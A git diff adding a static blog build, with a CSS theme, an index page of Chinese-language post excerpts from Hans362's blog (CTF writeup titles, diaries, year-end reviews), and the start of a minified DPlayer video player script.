+ font-family: rubik, sans-serif, Varela Round
+}
+
+header .header__left .logo__text {
+ font-size: 18px;
+ font-weight: 450;
+ padding: 14.5px 10px;
+ border-radius: 5px;
+ color: var(--ic)
+}
+
+header .header__right .button {
+ color: var(--ic)
+}
+
+header .header__right .navbar__menus {
+ height: 54px;
+ padding: 0 0 0 15px
+}
+
+header .header__right .navbar__menus .navbar-menu {
+ display: inline-block;
+ align-items: center;
+ height: 54px;
+ padding: 0 10px;
+ font-size: 16px;
+ line-height: 54px
+}
+
+header .header__right .navbar__menus .navbar-menu:hover {
+ background-color: var(--bg-m)
+}
+
+header .header__right #btn-search,
+header .header__right #btn-toggle-dark {
+ display: inline-block;
+ height: 54px;
+ padding: 15px 10px
+}
+
+header .header__right #btn-search:hover,
+header .header__right #btn-toggle-dark:hover {
+ background-color: var(--bg-m)
+}
+
+header .header__right #b2t {
+ display: block;
+ width: 3rem;
+ height: 3rem;
+ position: fixed;
+ z-index: 1001;
+ right: 1.2rem;
+ bottom: 1.2rem;
+ border-radius: 5px;
+ color: var(--ic);
+ background: var(--bg-c);
+ border: 1px solid var(--b)
+}
+
+header .header__right #b2t * {
+ margin: 8px
+}
+
+header .header__right .dropdown-icon {
+ display: none;
+ height: 54px;
+ padding: 15px 10px;
+ border: 0;
+ background-color: transparent
+}
+
+header .header__right .dropdown-icon:hover {
+ background-color: var(--bg-m)
+}
+
+header .header__right .dropdown-icon:focus+.dropdown-menus {
+ display: flex
+}
+
+header .header__right .dropdown-menus {
+ -webkit-animation: slide-in .15s ease 1;
+ animation: slide-in .15s ease 1;
+ display: none;
+ position: absolute;
+ left: 12px;
+ right: 12px;
+ top: calc(54px + 10px);
+ border-radius: 6px;
+ padding: 24px;
+ background: var(--bg-c);
+ border: 1px solid var(--b);
+ z-index: 9999;
+ justify-items: center;
+ justify-content: center;
+ flex-direction: column
+}
+
+header .header__right .dropdown-menus:hover {
+ display: flex
+}
+
+header .header__right .dropdown-menus .dropdown-menu {
+ padding: 10px;
+ color: var(--ic)
+}
+
+@media screen and (max-width: 764px) {
+ .navbar__menus {
+ display: none !important
+ }
+
+ .dropdown-icon {
+ display: inline-block !important
+ }
+}
+
+@-webkit-keyframes slide-in {
+ 0% {
+ opacity: 0;
+ transform: translateY(-1.6rem)
+ }
+
+ 100% {
+ opacity: 1;
+ transform: translateY(0)
+ }
+}
+
+@keyframes slide-in {
+ 0% {
+ opacity: 0;
+ transform: translateY(-1.6rem)
+ }
+
+ 100% {
+ opacity: 1;
+ transform: translateY(0)
+ }
+}
+
+.nav {
+ display: flex;
+ flex-direction: row;
+ justify-content: center;
+ width: var(--c-m);
+ margin: 1.5rem auto;
+ height: auto
+}
+
+.nav+* {
+ margin-top: 0
+}
+
+.nav .nav__prev {
+ display: flex;
+ flex: 50% 1;
+ justify-content: flex-start;
+ text-align: left
+}
+
+.nav .nav__next {
+ display: flex;
+ flex: 50% 1;
+ justify-content: flex-end;
+ text-align: right
+}
+
+.nav .nav__link {
+ display: flex;
+ flex-direction: row;
+ align-items: center;
+ color: var(--t)
+}
+
+.nav .nav__link:hover {
+ text-decoration: none;
+ opacity: 1
+}
+
+.nav .nav__label {
+ font-size: .8rem;
+ font-weight: 450;
+ color: var(--t-l)
+}
+
+.nav .nav__title {
+ font-size: 1rem;
+ font-weight: 550;
+ line-height: 1.125
+}
+
+.search {
+ width: var(--c-m)
+}
+
+.search-form {
+ display: flex;
+ justify-content: flex-start;
+ margin-top: 1.5rem
+}
+
+.search-form .search-input {
+ flex: 1 1 auto;
+ transition: border-bottom-color .18s cubic-bezier(.4, 0, .2, 1);
+ color: var(--f);
+ opacity: .87;
+ border: none;
+ outline: 0;
+ border-bottom: 1px solid var(--b);
+ background-color: transparent
+}
+
+.search-form .search-input::-webkit-search-cancel-button,
+.search-form .search-input::-webkit-search-decoration,
+.search-form .search-input::-webkit-search-results-button,
+.search-form .search-input::-webkit-search-results-decoration {
+ display: none
+}
+
+.search-form .search-input:focus {
+ border: none;
+ border-bottom: 1px solid var(--s)
+}
+
+.search-form #search-input {
+ width: 100%
+}
+
+.search-result {
+ margin: 0 auto
+}
+
+.search-result .search-result__notice {
+ opacity: .67;
+ max-width: var(--c-m);
+ margin-left: 0;
+ padding-top: calc(var(--n)/ 4);
+ padding-bottom: calc(var(--n)/ 4)
+}
+
+.search-result .search-result__list:empty {
+ display: none
+}
+
+.search-result a.search-result__link {
+ color: inherit
+}
+
+.search-result a.search-result__link:hover {
+ text-decoration: none
+}
+
+.search-result a.search-result__link:not(:first-of-type) .search-result__item {
+ padding-top: calc(var(--n)/ 4)
+}
+
+.search-result a.search-result__link:not(:last-of-type) .search-result__item {
+ padding-bottom: calc(var(--n)/ 4);
+ border-bottom: 1px solid var(--b)
+}
+
+.toc {
+ display: block;
+ font-size: 14px;
+ overflow: auto;
+ list-style-type: none;
+ padding: .6rem
+}
+
+.toc .toc-link {
+ color: var(--t);
+ padding: .5rem .75rem;
+ display: flex;
+ line-height: 1.25
+}
+
+.toc .toc-link:hover {
+ color: var(--t);
+ background: var(--bg-m);
+ text-decoration: none
+}
+
+.toc .toc-child {
+ border-left: 1px solid var(--b);
+ margin: .75em;
+ padding-left: .75em;
+ list-style-type: none
+}
+
+.toc-title {
+ font-size: .9rem;
+ color: var(--t-l);
+ padding: .6rem;
+ border-bottom: 1.5px solid var(--b)
+}
+
+.btn-toc {
+ display: none;
+ width: 3rem;
+ height: 3rem;
+ position: fixed;
+ z-index: 1001;
+ right: 1.2rem;
+ bottom: 4.8rem;
+ border-radius: 5px;
+ color: var(--ic);
+ background: var(--bg-c);
+ border: 1px solid var(--b)
+}
+
+.btn-toc * {
+ margin: 8px
+}
+
+.btn-toc:focus+.toc-menus {
+ display: block
+}
+
+.toc-menus {
+ -webkit-animation: slide-up .15s ease 1;
+ animation: slide-up .15s ease 1;
+ display: none;
+ position: fixed;
+ left: 12px;
+ right: 12px;
+ bottom: 8.4rem;
+ max-height: 60vh;
+ overflow: auto;
+ border-radius: 6px;
+ padding: 24px;
+ background: var(--bg-c);
+ border: 1px solid var(--b);
+ z-index: 9999
+}
+
+.toc-menus:hover {
+ display: block
+}
+
+.post-side {
+ display: block;
+ height: 0;
+ width: var(--c-s);
+ float: right;
+ position: -webkit-sticky;
+ position: sticky;
+ top: calc(54px + 10px)
+}
+
+.post-side .post-side__toc {
+ display: none;
+ width: 100%
+}
+
+.post-side .post-side__toc .toc {
+ display: block;
+ width: 100%;
+ height: calc(100vh - 54px * 2 - 20px)
+}
+
+@media screen and (max-width: 1079px) {
+ .post-content .nav,
+ .post-content .post,
+ .post-content .post__comments,
+ .post-content .post__sponsers {
+ margin-left: 0 !important
+ }
+}
+
+@media screen and (min-width: 768px) {
+ .post-side .post-side__toc {
+ display: block
+ }
+}
+
+@media screen and (max-width: 767px) {
+ #btn-toc {
+ display: block
+ }
+}
+
+@-webkit-keyframes slide-up {
+ 0% {
+ opacity: 0;
+ transform: translateY(1.6rem)
+ }
+
+ 100% {
+ opacity: 1;
+ transform: translateY(0)
+ }
+}
+
+@keyframes slide-up {
+ 0% {
+ opacity: 0;
+ transform: translateY(1.6rem)
+ }
+
+ 100% {
+ opacity: 1;
+ transform: translateY(0)
+ }
+}
+
+.archives {
+ position: relative;
+ max-width: var(--w);
+ margin: 0 auto
+}
+
+.archives .archives-item {
+ display: flex;
+ margin-bottom: 1.2rem;
+ position: relative
+}
+
+.archives .archives-item .archives-left {
+ flex: 0 0 auto;
+ box-flex: 0
+}
+
+.archives .archives-item .archives-left .archives-icon {
+ border-radius: 50%;
+ color: var(--s);
+ display: block;
+ height: 1.6rem;
+ text-align: center;
+ width: 1.6rem
+}
+
+.archives .archives-item .archives-left .archives-icon.icon-lg {
+ background: var(--s)
+}
+
+.archives .archives-item .archives-content {
+ flex: 1 1 auto;
+ box-flex: 1;
+ padding: 2px 0 2px .8rem
+}
+
+.archives .archives-item .archives-content .archives-year {
+ margin: 0
+}
+
+.archives .archives-item .archives-content .archives-title {
+ color: var(--t);
+ font-size: 20px
+}
+
+.archives .archives-item .archives-icon::before {
+ border: .1rem solid var(--s);
+ border-radius: 50%;
+ content: "";
+ height: .4rem;
+ left: .6rem;
+ position: absolute;
+ top: .8rem;
+ width: .4rem
+}
+
+.archives .archives-item:hover .archives-icon::before {
+ background: var(--s)
+}
+
+.archives .archives-item::before {
+ background: #e7e9ed;
+ content: "";
+ height: 100%;
+ left: .8rem;
+ position: absolute;
+ top: 1.6rem;
+ width: 2px
+}
+
+.archives .archives-item:last-child::before {
+ background: 0 0
+}
+
+.links-list {
+ margin: 0 auto;
+ max-width: 1080px
+}
+
+.links-list .links-content {
+ display: flex;
+ flex-wrap: wrap;
+ margin: -8px;
+ border-radius: 10px;
+ align-items: flex-start;
+ line-height: 1.3
+}
+
+.links-list .links-content .links-card {
+ display: flex;
+ padding: 8px;
+ margin: 0 auto;
+ margin-top: calc(2.25 * 16px + 32px);
+ color: var(--t-l) !important;
+ background: 0 0 !important;
+ border-radius: 10px;
+ border: 1.5px solid var(--b);
+ justify-content: flex-start;
+ align-content: flex-start;
+ flex-direction: column;
+ max-width: 16rem;
+ width: calc(100%/4 - 16px)
+}
+
+@media screen and (max-width: 1280px) {
+ .links-list .links-content .links-card {
+ width: calc(100%/3 - 16px)
+ }
+}
+
+@media screen and (max-width: 1080px) {
+ .links-list .links-content .links-card {
+ width: calc(100%/2 - 16px)
+ }
+}
+
+@media screen and (max-width: 768px) {
+ .links-list .links-content .links-card {
+ width: calc(100%/1 - 16px)
+ }
+}
+
+.links-list .links-content .links-left {
+ display: flex;
+ align-self: center
+}
+
+.links-list .links-content .links-left .avatar {
+ width: 64px;
+ height: 64px;
+ margin: 16px 8px 4px 8px;
+ margin-top: calc(-1.25 * 16px - 32px);
+ border-radius: 100%;
+ border: 2px solid #fff;
+ background: #fff
+}
+
+.links-list .links-content .links-right {
+ margin: 4px 8px;
+ display: flex;
+ flex-direction: column;
+ text-align: center
+}
+
+.links-list .links-content .links-right p {
+ text-align: center
+}
+
+.links-list .links-content .links-right .links-tags-wrapper {
+ margin-left: -2px;
+ word-break: break-all
+}
+
+.links-list .links-content .links-right p {
+ margin: 0
+}
+
+.links-list .links-content .links-right p.links-name {
+ padding-top: 6px;
+ padding-bottom: 4px;
+ font-weight: 700
+}
+
+.links-list .links-content .links-right p.tags {
+ display: inline;
+ background: 0 0;
+ word-wrap: break-word;
+ padding-right: 4px
+}
+
+.post-list>:last-child {
+ margin-bottom: 0
+}
+
+.post-entry {
+ width: var(--c-m);
+ margin-bottom: var(--n);
+ position: relative
+}
+
+.post-entry__content .post-entry__title {
+ color: var(--t);
+ padding: 0;
+ margin: 0 0 1rem 0;
+ border: none;
+ font-size: 1.5rem;
+ font-weight: 400;
+ line-height: 1.125
+}
+
+.post-entry__tags,
+.post-footer__cats {
+ display: inline-block;
+ position: relative;
+ margin: 1em 0 0;
+ z-index: 1
+}
+
+.post-entry__link {
+ position: absolute;
+ top: 0;
+ left: 0;
+ width: 100%;
+ height: 100%;
+ opacity: 0;
+ overflow: hidden;
+ text-indent: -9999px;
+ z-index: 0
+}
+
+.post-title {
+ padding: calc(var(--n)/ 2) 0 calc(var(--n)/ 2);
+ text-align: center
+}
+
+.post-title .post-title__text {
+ margin: 0;
+ padding: 0
+}
+
+.post-meta__date {
+ color: var(--t-l)
+}
+
+.post-meta__cats {
+ color: var(--t-l)
+}
+
+.post-meta__cats:hover {
+ color: var(--s)
+}
+
+.post-entry__meta,
+.post-title__meta {
+ display: block;
+ z-index: 1;
+ position: relative;
+ font-size: .875rem;
+ opacity: .8;
+ margin: .5rem 0 0;
+ font-family: rubik, sans-serif
+}
+
+.post-entry__header,
+.post__header {
+ margin: calc(var(--n) * -1) !important;
+ margin-bottom: calc(var(--n)/ 2) !important;
+ overflow: hidden;
+ border-radius: 10px
+}
+
+.post-entry__header:empty,
+.post__header:empty {
+ display: none
+}
+
+.post-entry__header .post-thumbnail,
+.post__header .post-thumbnail {
+ display: flex;
+ width: 100%;
+ padding-bottom: 40%;
+ background-size: cover;
+ background-repeat: repeat;
+ background-position: 50% 50%;
+ background-origin: padding-box;
+ background-attachment: scroll
+}
+
+.post__content p {
+ line-height: 1.8
+}
+
+.post__content img.inline {
+ display: inline
+}
+
+.post__content div>img,
+.post__content div>picture>img,
+.post__content p>img,
+.post__content p>picture>img,
+.post__content>img,
+.post__content>picture>img {
+ display: block;
+ margin: auto;
+ border-radius: 4px
+}
+
+.post__content span img {
+ display: inline;
+ margin: auto
+}
+
+.post {
+ width: var(--c-m)
+}
+
+.post__comments {
+ width: var(--c-m);
+ margin: var(--n) auto
+}
+
+.post__comments:empty {
+ display: none
+}
+
+.post-footer__meta {
+ font-size: .875rem;
+ margin-top: 1.5rem
+}
+
+.post-footer__meta>:last-child {
+ margin-bottom: 0
+}
+
+.post-cats__link,
+.post-tags__link {
+ display: inline-block;
+ margin: .35em;
+ font-size: .75em;
+ text-decoration: none;
+ background-color: var(--bg-ca);
+ color: currentColor !important;
+ padding: .25rem .6rem .25rem .6rem;
+ border-radius: 5px
+}
+
+.post-tags__link {
+ background-color: var(--bg-ta)
+}
+
+.post__license {
+ background-color: #f5f5f5;
+ word-break: break-all;
+ margin: 3em 0 1em 0;
+ padding: .5rem .8rem;
+ border-left: 4px solid #f44336;
+ list-style: none
+}
+
+.post__license p {
+ margin: 3px 1px 3px 1px;
+ padding: 0
+}
+
+.post__expire {
+ display: none;
+ margin: calc(var(--n)/ 2) var(--n) 0 var(--n);
+ padding: .5rem .8rem;
+ background: #ffffc0;
+ border-left: 4px solid #fff000;
+ list-style: none
+}
+
+.post__expire p {
+ color: #947600;
+ margin: 3px 1px 3px 1px;
+ padding: 0
+}
+
+details {
+ display: block;
+ padding: 16px;
+ margin: 20px 0;
+ background: var(--bg-c);
+ border: none;
+ border-radius: 4px;
+ box-shadow: 1px 2px 5px 0 rgba(0, 0, 0, .3);
+ transition: all .6s
+}
+
+details>summary {
+ cursor: pointer;
+ outline: 0
+}
+
+details .fold-content {
+ margin-top: 20px
+}
+
+details .fold-content>:first-child {
+ margin-top: 0
+}
+
+details .fold-content>:last-child {
+ margin-bottom: 0
+}
+
+.post__sponsers {
+ text-align: center;
+ width: var(--c-m);
+ margin: var(--n) auto
+}
+
+.post__sponsers:empty {
+ display: none
+}
+
+.sponser-label {
+ font-size: 1.1rem;
+ letter-spacing: 1.5px;
+ margin: 1rem
+}
+
+.sponser-button {
+ border: 1px solid transparent;
+ border-radius: 4px;
+ font-size: 1rem;
+ height: 2.5em;
+ line-height: 1.5;
+ padding: .5em .75em;
+ background-color: #946ce6;
+ color: #fff
+}
+
+.sponser-button[data-type="afdian"] {
+ position: relative;
+ border: 1px solid transparent;
+ border-radius: 4px;
+ font-size: 1rem;
+ height: 2.5em;
+ line-height: 1.5;
+ padding: .5em .75em;
+ background-color: #946ce6;
+ color: #fff
+}
+
+.sponser-button[data-type="alipay"] {
+ position: relative;
+ border: 1px solid transparent;
+ border-radius: 4px;
+ font-size: 1rem;
+ height: 2.5em;
+ line-height: 1.5;
+ padding: .5em .75em;
+ background-color: #00a0e8;
+ color: #fff
+}
+
+.sponser-button[data-type="wepay"] {
+ position: relative;
+ border: 1px solid transparent;
+ border-radius: 4px;
+ font-size: 1rem;
+ height: 2.5em;
+ line-height: 1.5;
+ padding: .5em .75em;
+ background-color: #1aad19;
+ color: #fff
+}
+
+.sponser-qrcode {
+ position: absolute;
+ z-index: 99;
+ top: -135px;
+ left: -25%;
+ width: 7.5rem;
+ max-width: none;
+ height: 7.5rem;
+ transform: scale(0);
+ transform-origin: bottom center;
+ opacity: 0;
+ border: .1rem solid #ffffff;
+ border-radius: .25rem;
+ -webkit-transition: all .4s ease-in-out;
+ -o-transition: all .4s ease-in-out;
+ transition: all .4s ease-in-out;
+}
+
+.sponser-button:hover .sponser-qrcode {
+ transform: scale(1);
+ opacity: 1;
+}
+
+@media (prefers-color-scheme: dark) {
+ :root {
+ --color-mode: 'dark'
+ }
+
+ :root:not([data-user-color-scheme]) {
+ --s: #ffb90f;
+ --bg: #121212;
+ --bg-c: #121212;
+ --bg-h: rgba(18, 18, 18, 0.6);
+ --bg-m: #363636;
+ --bg-ta: #696969;
+ --bg-ca: #789;
+ --bg-codeblock: #000;
+ --bg-code: #282c34;
+ --ic: rgba(255, 255, 255, 0.8);
+ --f: rgba(255, 255, 255, 0.7);
+ --t: rgba(252, 252, 252, 0.9);
+ --b: #30363d
+ }
+
+ :root:not([data-user-color-scheme]) blockquote {
+ border-left: .25em solid rgba(255, 255, 255, .5);
+ color: rgba(255, 255, 255, .5)
+ }
+
+ :root:not([data-user-color-scheme]) .post-entry__content a:not(.article-anchor) {
+ border-bottom: 2px solid rgba(255, 193, 37, .5);
+ }
+
+ :root:not([data-user-color-scheme]) .post__content a:not(.article-anchor) {
+ border-bottom: 2px solid rgba(255, 193, 37, .5);
+ }
+
+ :root:not([data-user-color-scheme]) .post-entry__content a:not(.article-anchor):hover {
+ box-shadow: inset 0 -8.8px rgba(255, 193, 37, .5)
+ }
+
+ :root:not([data-user-color-scheme]) .post__content a:not(.article-anchor):hover {
+ box-shadow: inset 0 -8.8px rgba(255, 193, 37, .5)
+ }
+
+ :root:not([data-user-color-scheme]) .post__license {
+ background-color: rgba(255, 255, 255, .2)
+ }
+
+ :root:not([data-user-color-scheme]) details {
+ background: #1f1f1f
+ }
+
+ :root:not([data-user-color-scheme]) .license {
+ background: #1c1c1c
+ }
+
+ :root:not([data-user-color-scheme]) .license:after {
+ background: url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 496 512'%3E%3Cpath fill='%23b0b0b0' d='M245.8 214.9l-33.2 17.3c-9.4-19.6-25.2-20-27.4-20-22.2 0-33.3 14.6-33.3 43.9 0 23.5 9.2 43.8 33.3 43.8 14.4 0 24.6-7 30.5-21.3l30.6 15.5a73.2 73.2 0 01-65.1 39c-22.6 0-74-10.3-74-77 0-58.7 43-77 72.6-77 30.8-.1 52.7 11.9 66 35.8zm143 0l-32.7 17.3c-9.5-19.8-25.7-20-27.9-20-22.1 0-33.2 14.6-33.2 43.9 0 23.5 9.2 43.8 33.2 43.8 14.5 0 24.7-7 30.5-21.3l31 15.5c-2 3.8-21.3 39-65 39-22.7 0-74-9.9-74-77 0-58.7 43-77 72.6-77C354 179 376 191 389 214.8zM247.7 8C104.7 8 0 123 0 256c0 138.4 113.6 248 247.6 248C377.5 504 496 403 496 256 496 118 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.5 85.5-203.3 203.8-203.3A201.7 201.7 0 01451.3 256c0 121.7-99.7 202.9-202.9 202.9z'/%3E%3C/svg%3E")
+ }
+
+ :root:not([data-user-color-scheme]) table tr:not(.code):not(.gutter):nth-child(2n) {
+ background-color: #353535
+ }
+}
+
+[data-user-color-scheme=dark] {
+ --color-mode: 'dark';
+ --s: #ffb90f;
+ --bg: #121212;
+ --bg-c: #121212;
+ --bg-h: rgba(18, 18, 18, 0.6);
+ --bg-m: #363636;
+ --bg-ta: #696969;
+ --bg-ca: #789;
+ --bg-codeblock: #000;
+ --bg-code: #282c34;
+ --ic: rgba(255, 255, 255, 0.8);
+ --f: rgba(255, 255, 255, 0.7);
+ --t: rgba(252, 252, 252, 0.9);
+ --b: rgba(255, 255, 255, 0.1)
+}
+
+[data-user-color-scheme=dark] blockquote {
+ border-left: .25em solid rgba(255, 255, 255, .5);
+ color: rgba(255, 255, 255, .5)
+}
+
+[data-user-color-scheme=dark] .post-entry__content a:not(.article-anchor) {
+ border-bottom: 2px solid rgba(255, 193, 37, .5);
+}
+
+[data-user-color-scheme=dark] .post__content a:not(.article-anchor) {
+ border-bottom: 2px solid rgba(255, 193, 37, .5);
+}
+
+[data-user-color-scheme=dark] .post-entry__content a:not(.article-anchor):hover {
+ box-shadow: inset 0 -8.8px rgba(255, 193, 37, .5)
+}
+
+[data-user-color-scheme=dark] .post__content a:not(.article-anchor):hover {
+ box-shadow: inset 0 -8.8px rgba(255, 193, 37, .5)
+}
+
+[data-user-color-scheme=dark] .post__license {
+ background-color: rgba(255, 255, 255, .2)
+}
+
+[data-user-color-scheme=dark] details {
+ background: #1f1f1f
+}
+
+[data-user-color-scheme=dark] .license {
+ background: #1c1c1c
+}
+
+[data-user-color-scheme=dark] .license:after {
+ background: url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 496 512'%3E%3Cpath fill='%23b0b0b0' d='M245.8 214.9l-33.2 17.3c-9.4-19.6-25.2-20-27.4-20-22.2 0-33.3 14.6-33.3 43.9 0 23.5 9.2 43.8 33.3 43.8 14.4 0 24.6-7 30.5-21.3l30.6 15.5a73.2 73.2 0 01-65.1 39c-22.6 0-74-10.3-74-77 0-58.7 43-77 72.6-77 30.8-.1 52.7 11.9 66 35.8zm143 0l-32.7 17.3c-9.5-19.8-25.7-20-27.9-20-22.1 0-33.2 14.6-33.2 43.9 0 23.5 9.2 43.8 33.2 43.8 14.5 0 24.7-7 30.5-21.3l31 15.5c-2 3.8-21.3 39-65 39-22.7 0-74-9.9-74-77 0-58.7 43-77 72.6-77C354 179 376 191 389 214.8zM247.7 8C104.7 8 0 123 0 256c0 138.4 113.6 248 247.6 248C377.5 504 496 403 496 256 496 118 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.5 85.5-203.3 203.8-203.3A201.7 201.7 0 01451.3 256c0 121.7-99.7 202.9-202.9 202.9z'/%3E%3C/svg%3E")
+}
+
+[data-user-color-scheme=dark] table tr:not(.code):not(.gutter):nth-child(2n) {
+ background-color: #353535
+}
diff --git a/index.html b/index.html
new file mode 100644
index 00000000..b9568802
--- /dev/null
+++ b/index.html
@@ -0,0 +1 @@
+Hans362 's Blog 加载中...
Hans362 's Blog SJTU-CTF / GEEKCTF 2024 部分 Writeup 去年还是选手,今年变成出题人了(
这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题:YAJF、Secrets、SafeBlog2、PicBed,赛后决定在博客上公开一下出题人的部分 Writeup 供参考。
SJTU-CTF / GEEKCTF 2024 部分 Writeup 周记#31 好久不见,各位新春快乐呀!🧨
五周的寒假转眼就过去了,前不久还沉浸在过年的喜悦中,现在已经在学校坐牢一周了(谁家好人学校正月初九开学啊,我还没玩够呢😡😭)
那就来一篇终极寒假生活流水账罢(
周记#31 2023年终总结 草草草怎么一年就过去了,又到了痛苦的期末周 一年一度的年终总结时刻,于是我在紧张刺激的期末跨年预习 复习活动中匆匆写完了这篇文章,快来回顾一下这一事无成 的一年罢()
2023年终总结 阿里云金融级实人认证接入踩坑记 最近需要给一个基于 Django 的项目开发实名认证功能,除了常规的核验姓名和身份证号是否匹配,还需要对用户进行活体检测。看了一圈最后选定了阿里云的金融级实人认证 产品,可以直接让用户使用支付宝APP完成活体检测的认证过程,开发工作量相对较小,对用户而言也比较方便(毕竟这年头谁手机上还没个支付宝呢)。
开通金融级实人认证后,我开始照着阿里云提供的开发参考文档 尝试将其接入到项目中。得益于阿里云这份含糊其辞、不清不楚的过时文档,开发花费的时间比我想象中要多😇,在此也记录一下我踩过的坑,希望能够帮助到后来者。
阿里云金融级实人认证接入踩坑记 周记#30
让我看看…嗯,很好,不出意外的话大概是出意外了 ,我竟然已经五个月了没更新博客了,赶快把存货发出来除除草。
所以这是一篇从暑日至寒冬跨越两季的超长流水账,猜猜这次会有多长呢?🤪
周记#30 周记#29 咕咕咕了半年零三个月,这个系列终于有了后续(你还知道写啊)。
所以这是一篇是又臭又长的写于夏季学期的伪装成周记的寒假和春季学期的终极流水账,我也不知道会有多长,各位慢慢看🤪。
周记#29 SJTU-CTF 2023 Writeup 好久没更新博客了,周记已经咕咕咕好几个月了,等有空再写吧(
作为一个非计算机和信息安全专业学生、除了 Web 方向会一点其它啥都不会的小白,前段时间参加了我校举办的 CTF 网络安全技术挑战赛。给官方提交了 Writeup 后想着不能浪费这水文章的大好机会,就在博客上也发一遍吧。
SJTU-CTF 2023 Writeup 2022年终总结 2022年的最后一个冬夜,我和往年一样坐在屏幕前,试图用文字为过去的一年画上句号。今年的我,沉思良久,却一时不知从何写起。
2022年发生了太多事情,让我感到恐惧、愤怒、无奈、迷茫,却也让我看到一丝丝希望。这些事情注定不被允许存在于「正确的集体记忆」中,但这片土地上的苦难、悲剧、抗争、勇气值得被铭记。因此,我愿将它们和我的生活一起,写入我的年终总结,作为它们曾经存在过、发生过的一份见证。
2022年终总结 对抗校园网 DNS 污染,我有妙招 最近给寝室接入了学校网络信息中心免费提供的 1Gbps 有线网络,这确实是我迄今为止使用过的最奢华的网络环境,尤其是把 WSL 软件源更换成 SJTUG 镜像站后,能够以接近 1Gbps 的速率更新软件包,体验极度舒适。
然而,某天早上7:30,当我试图打开 Bilibili 时,Chrome 浏览器却提示 DNS_PROBE_FINISHED_NXDOMAIN
,手机客户端也加载失败。通过查阅校内论坛,我得知由于某些原因,从2022年5月25日起的每天0点至8点,学校网络信息中心提供的 DNS 服务器会故意 不返回大部分视频网站(包括但不限于哔哩哔哩、腾讯视频、爱奇艺、优酷、华数TV、抖音、快手)及游戏网站(包括但不限于Steam商店和聊天、Origin、战网、英雄联盟、崩坏)的解析结果,即所谓的 DNS 污染。
虽然我多数时候没有在0点至8点使用这些网站的需求,但是我并不认可这种行为,所以本文就来谈谈我是如何对抗校园网 DNS 污染的。
对抗校园网 DNS 污染,我有妙招 周记#28 - “开学第一课” 诶嘿,我又来水文章了(bushi)
转眼间大学已经正式开学两周啦!回想起这两周所经历的一切,我想我只能用两个词来形容,那就是「魔幻」和「荒诞」,远超想象的「魔幻」和「荒诞」,以至于狠狠给我上了一课。
你可能会好奇发生了什么,那就接着往下看吧。
周记#28 - “开学第一课”
\ No newline at end of file
diff --git a/js/DPlayer.min.js b/js/DPlayer.min.js
new file mode 100644
index 00000000..7c55ee96
--- /dev/null
+++ b/js/DPlayer.min.js
@@ -0,0 +1,2 @@
+!function(n,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("DPlayer",[],e):"object"==typeof exports?exports.DPlayer=e():n.DPlayer=e()}(self,(()=>(()=>{var n={1916:(n,e,t)=>{var a=t(6877);n.exports=function(n){"use strict";var e,o="",r=(n=n||{}).video,i=n.options,l=a.$escape,s=n.tran,p=n.icons,d=n.index,A=a.$each;return n.$value,n.$index,o+='
\n\n ',e=t(1568)(r),o+=e,o+="\n ",i.logo&&(o+='\n
\n
\n
\n '),o+='\n
\n
\n
\n \n ',i.danmaku&&(o+='\n ',o+=l(s("danmaku-loading")),o+=" \n "),o+='\n ',o+=p.loading,o+=' \n
\n
\n
\n\n \n
\n
\n ',o+=p.play,o+=' \n \n
\n
\n ',o+=p.volumeDown,o+=' \n \n
\n
\n
\n 0:00 /\n 0:00 \n \n ',i.live&&(o+='\n
',o+=l(s("live")),o+="\n "),o+='\n
\n
\n ',i.video.quality&&(o+='\n
\n
',o+=l(i.video.quality[i.video.defaultQuality].name),o+=' \n
\n
\n ',A(i.video.quality,(function(n,e){o+='\n
',o+=l(n.name),o+="
\n "})),o+="\n
\n
\n
\n "),o+="\n ",i.screenshot&&(o+='\n
\n ',o+=p.camera,o+=" \n
\n "),o+="\n ",i.airplay&&(o+='\n
\n ',o+=p.airplay,o+=" \n
\n "),o+="\n ",i.chromecast&&(o+='\n
\n ',o+=p.chromecast,o+=" \n
\n "),o+='\n \n ",i.subtitle&&(o+="\n ","string"==typeof i.subtitle.url?(o+='\n
\n \n ',o+=p.subtitle,o+=" \n \n
\n "):(o+='\n
\n
\n ',o+=p.subtitle,o+=' \n \n
\n
\n ',A(i.subtitle.url,(function(n,e){o+='\n
\n \x3c!-- if lang, show tran(lang). if lang and name, show name + (tran(lang)). if name, show name. off option use lang for translation. --\x3e\n ',o+=l(n.lang?n.name?n.name+" ("+s(n.lang)+")":s(n.lang):n.name),o+=" \n
\n "})),o+="\n
\n
\n
\n "),o+="\n "),o+='\n
\n
\n ',o+=p.setting,o+=' \n \n
\n
\n
\n
',o+=l(s("speed")),o+=' \n
',o+=p.right,o+='
\n
\n
\n
',o+=l(s("loop")),o+=' \n
\n \n \n
\n
\n
\n
',o+=l(s("show-danmaku")),o+=' \n
\n \n \n
\n
\n
\n
',o+=l(s("unlimited-danmaku")),o+=' \n
\n \n \n
\n
\n
\n
',o+=l(s("opacity-danmaku")),o+=' \n
\n
\n
\n
\n ',A(i.playbackSpeed,(function(n,e){o+='\n
\n ',o+=l(1===n?s("normal"):n),o+=" \n
\n "})),o+='\n
\n
\n
\n
\n \n ',o+=p.fullWeb,o+=' \n \n \n ',o+=p.full,o+=' \n \n
\n
\n
\n
\n\n
[x]
\n
\n Player version \n \n
\n
\n Player FPS \n \n
\n
\n Video type \n \n
\n
\n Video url \n \n
\n
\n Video resolution \n \n
\n
\n Video duration \n \n
\n ',i.danmaku&&(o+='\n
\n Danmaku id \n \n
\n
\n Danmaku api \n \n
\n
\n Danmaku amount \n \n
\n '),o+='\n
\n\n
